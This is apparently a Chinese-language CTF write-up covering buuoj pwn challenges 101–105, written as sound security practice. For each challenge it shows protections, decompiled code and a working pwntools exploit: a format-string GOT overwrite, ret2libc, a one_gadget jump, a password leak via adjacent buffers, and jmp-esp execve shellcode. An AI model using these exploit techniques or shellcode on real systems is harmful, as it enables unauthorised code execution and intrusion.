buuoj Pwn writeup 101-105

原创

yongbaoii 于 2021-03-08 10:35:49 发布 110 收藏

分类专栏： CTF 文章标签： 安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/114198853

101 inndy_echo

保护

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbo
ls              FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   76 Sy
mbols   No      0               4       ./101
```

```
int __cdecl __noreturn main(int argc, const char **argv
{
  char s[256]; // [esp+Ch] [ebp-10Ch] BYREF
  unsigned int v4; // [esp+10Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  do
  {
    fgets(s, 256, stdin);
    printf(s);
  }
  while ( strcmp(s, "exit\n") );
  system("echo Goodbye");
  exit(0);
}
```


就格式化字符串漏洞。

我们考虑劫持got表。

也不用泄露地址，因为它直接就有system函数。

只需要实现测一下偏移。

```
aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0x100-0xf7f825c0-(nil)-0xffd99a54-0xffd99a50-0x3-0x61616161-0x2d70252d-0x252d7025
```

偏移是7.

exp

```
from pwn import *

r = remote("node3.buuoj.cn",28990)
elf = ELF('./101')
libc = ELF("./32/libc-2.23.so")

printf_got = elf.got['printf']
system_addr = elf.sym['system']

payload = fmtstr_payload(7,{printf_got:system_addr})

r.sendline(payload)

payload = "/bin/sh\x00"

r.sendline(payload)

r.interactive()
```

这里用了模板，还是非常棒的。

102 cmcc_pwnme1

保护

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbo
ls              FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   77 Sy
mbols   No      0               4       ./102
```

getflag

```
int getflag()
{
  char s[120]; // [esp+14h] [ebp-84h] BYREF
  FILE *stream; // [esp+8Ch] [ebp-Ch]

  puts("Yeah, you got it...");
  stream = fopen("/home/flag", "r");
  if ( !stream )
    perror("/home/flag");
  fgets(s, 120, stream);
  puts(s);
  fclose(stream);
  return 1;
}
```


估摸着远程又没这文件。

```
int getfruit()
{
  char v1[164]; // [esp+14h] [ebp-A4h] BYREF

  fflush(stdout);
  printf("Please input the name of fruit:");
  __isoc99_scanf("%s", v1);
  return printf("oh,%s...\n", v1);
}
```


getfruit里面有溢出。

溢出溢过去，完活。

exp

```python
from pwn import *

r = remote("node3.buuoj.cn",29485)
elf = ELF('./102')
libc = ELF("./32/libc-2.23.so")

plt_puts = elf.plt['puts']
got_puts = elf.got['puts']

main = elf.symbols["main"]

getfruit_addr = 0x08048624
payload = 0xa4*'a' + p32(main) + p32(plt_puts) +  p32(main)  + p32(got_puts)
r.recvuntil('Exit    \n')
r.sendline('5')
r.recvuntil('fruit:')
r.sendline(payload)

real_puts = u32(r.recvuntil('\xf7')[-4:].ljust(4,'\x00'))

libc_base = real_puts - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh").next()
payload = 0xa4*'a' + p32(main) + p32(system) +  p32(main)  + p32(binsh)
r.recvuntil('Exit    \n')
r.sendline('5')
r.recvuntil('fruit:')
r.sendline(payload)
r.interactive()
```

103 oneshot_tjctf_2016

保护

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbo
ls              FORTIFY Fortified       Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   69 Sy
mbols   No      0               2       ./103
```

RELRO一点没开的……

```
int __cdecl main(int argc, const char **argv, const c
{
  __int64 (*v4)(void); // [rsp+8h] [rbp-8h] BYREF

  setbuf(stdout, 0LL);
  puts("Read location?");
  __isoc99_scanf("%ld", &v4);
  printf("Value: 0x%016lx\n", *(_QWORD *)v4);
  puts("Jump location?");
  __isoc99_scanf("%ld", &v4);
  puts("Good luck!");
  return v4();
}
```


输入参数"%lx"就是格式控制串，其中的%是格式控制符, l表示数据为长整型，x表示输出十六进制
32位平台下%p = 0x%x
64位平台下

程序的执行流程是我们输入一个地址，会将这个地址处的数值打印出来，这样我们就可以泄露libc地址，然后我们可以利用one_gadget，输入到v4里面，然后执行。

exp

```python
# -*- coding: utf-8 -*-
from pwn import *

elf = ELF('./103')
r = remote('node3.buuoj.cn',27030)
puts_got = elf.got['puts']
libc = ELF('./64/libc-2.23.so')

one_gadget = 0x45216

r.sendlineafter('Read location?',str(puts_got))
#这个地方要记得发送的时候要用str()

r.recvuntil('0x0000')
puts_addr = int(r.recvuntil('\n'),16)
#这个地方没有用切片也跑的通，int这个函数会自动把那个回车给处理掉.

libc_base = puts_addr - libc.symbols['puts']

print hex(libc_base)

one_gadget = libc_base + one_gadget

r.sendline(str(one_gadget))

r.interactive()
```

104 picoctf_2018_leak_me

保护

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols    FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   82 Symbols    No       0               6            ./104
```

```
  char s1[64]; // [esp+0h] [ebp-194h] BYREF
  char v5[256]; // [esp+40h] [ebp-154h] BYREF
  char s[64]; // [esp+140h] [ebp-54h] BYREF
  FILE *stream; // [esp+180h] [ebp-14h]
  char *v8; // [esp+184h] [ebp-10h]
  __gid_t v9; // [esp+188h] [ebp-Ch]
  int *v10; // [esp+18Ch] [ebp-8h]

  v10 = &argc;
  setvbuf(stdout, 0, 2, 0);
  v9 = getegid();
  setresgid(v9, v9, v9);
  memset(s, 0, sizeof(s));
  memset(v5, 0, sizeof(v5));
  memset(s1, 0, sizeof(s1));
  puts("What is your name?");
  fgets(v5, 256, stdin);
  v8 = strchr(v5, 10);
  if ( v8 )
    *v8 = 0;
  strcat(v5, ",\nPlease Enter the Password.");
  stream = fopen("password.txt", "r");
  if ( !stream )
  {
    puts(
      "Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(s, 64, stream);
```

v5是名字，s是密码。

没有啥漏洞，所以就考虑逻辑漏洞，或者是一些骚操作。
这里发现名字的数组跟密码的数组是连在一起的，所以我们可以输出名字的时候把密码带出来。

```
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
elf = ELF('./104')
r = remote('node3.buuoj.cn',27602)
libc = ELF('./64/libc-2.23.so')
payload = 'a' * (0x100 - 28)
r.sendlineafter("What is your name?\n", payload)
r.recv()
r.sendline('aaaa')
r.interactive()
```

密码就被带出来了。

```
    'Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,\n'
    'Please Enter the Password.a_reAllY_s3cuRe_p4s$word_f85406\n'
```

然后nc连接上，输入密码拿flag。

105 x_ctf_b0verfl0w

保护

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbo
ls              FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   74 Sy
mbols   No      0               4       ./105
```

```
.text:08048504                  jmp     esp
.text:08048506 ; ---------------------------------------
.text:08048506                  retn
```

给了一个jmp esp

```
int vul()
{
  char s[32]; // [esp+18h] [ebp-20h] BYREF

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(s, 50, stdin);
  printf("Hello %s.", s);
  fflush(stdout);
  return 1;
}
```


有个栈溢出。

但是溢出大小不大，只有18.

要注意到没开NX。

我们的思路是要考虑把shellcode写在什么地方，然后jmp esp跳过去执行，但是我们发现我们只能写在栈上，写在栈上之后返回地址用jmp esp，同时在返回地址后面写上汇编代码，让esp跳上去，跳到上面去执行栈上面的shellcode。

要注意的是栈上能写的只有32个字节，所以要掏出我们的23字节最短shellcode。

```
shellcode ='''
xor eax,eax             #eax置0
xor edx,edx    #edx置0
push edx    #将0入栈，标记了”/bin/sh”的结尾
push 0x68732f2f         #传递”/sh”，为了4字节对齐，使用//sh，这在execve()中等同于/sh
push 0x6e69622f         #传递“/bin”
mov ebx,esp             #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB              #eax置为execve函数的中断号
int 0x80                #调用软中断
'''
shellcode=asm（shellcode）
```

把它写到栈上。然后jmp esp，在返回地址下面写上{sub esp 0x28, call esp},就好了。

exp

```
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = "debug"

r = remote('node3.buuoj.cn',29445)
#r = process("./105")
jmp_esp = 0x8048504

shellcode ='''
xor eax,eax             #eax置0
xor edx,edx    #edx置0
push edx    #将0入栈，标记了”/bin/sh”的结尾
push 0x68732f2f         #传递”/sh”，为了4字节对齐，使用//sh，这在execve()中等同于/sh
push 0x6e69622f         #传递“/bin”
mov ebx,esp             #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB              #eax置为execve函数的中断号
int 0x80                #调用软中断
'''
payload = asm(shellcode)
payload = payload.ljust(36, '\x00')
payload += p32(jmp_esp)
payload += asm("sub esp,40;call esp")

#gdb.attach(r)

r.sendlineafter("What's your name?\n", payload)

r.interactive()
```